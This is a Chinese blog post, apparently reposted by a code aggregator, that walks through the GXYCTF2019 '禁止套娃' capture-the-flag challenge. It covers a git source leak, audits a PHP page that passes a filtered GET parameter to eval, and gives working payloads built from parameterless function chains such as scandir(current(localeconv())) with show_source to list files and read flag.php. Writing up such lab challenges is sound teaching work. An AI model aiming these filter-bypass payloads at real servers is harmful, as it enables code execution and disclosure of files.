当前位置: 代码迷 >> 综合 >> [GXYCTF2019]禁止套娃 1
  详细解决方案

[GXYCTF2019]禁止套娃 1

热度:91   发布时间:2023-11-27 11:41:24.0

打开环境
在这里插入图片描述
这个界面很熟悉
看过我之前的博客关于git泄露的就知道
先去爆破一下目录
但是会发现没有什么进展,但我肯定它存在源码泄露
所以我直接猜想一下是git泄露
得到了index.php
真就离谱

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
    if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
    if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
    // echo $_GET['exp'];@eval($_GET['exp']);}else{
    die("还差一点哦!");}}else{
    die("再好好想想!");}}else{
    die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

代码审计:
eval函数执行我们的pyload
过滤了伪协议读取方式
(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
过滤了et|na|info|dec|bin|hex|oct|pi|log关键字。
根据源码我们知道flag在flag.php里面
所以进行payload构造

这里我们需要的知识点

在这里插入图片描述
scandir(’.’):扫描当前目录

localeconv() 函数
在这里插入图片描述

pos(),current():返回数组第一个值
payload:

?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述
知道了flag是数组的倒数第二个元素
然后这里的读取函数可以用这些

highlight_file()
show_source()
file()
readfile()

其他的都被正则过滤掉了

所以payload
方法一:

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

这里next是指向下一个元素
array_reverse是数组反序
得到flag
方法二:
这里利用array_rand()函数:
array_rand — 从数组中随机取出一个或多个单元。但是他取出的是键,我们想要的是值,还要利用array_flip(),把键与值交换,这样就可以了:

?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));

这里是随机的,所以要刷新页面,这样就得到了flag.php,接下来就是读取文件。

希望这篇文章能够帮助你!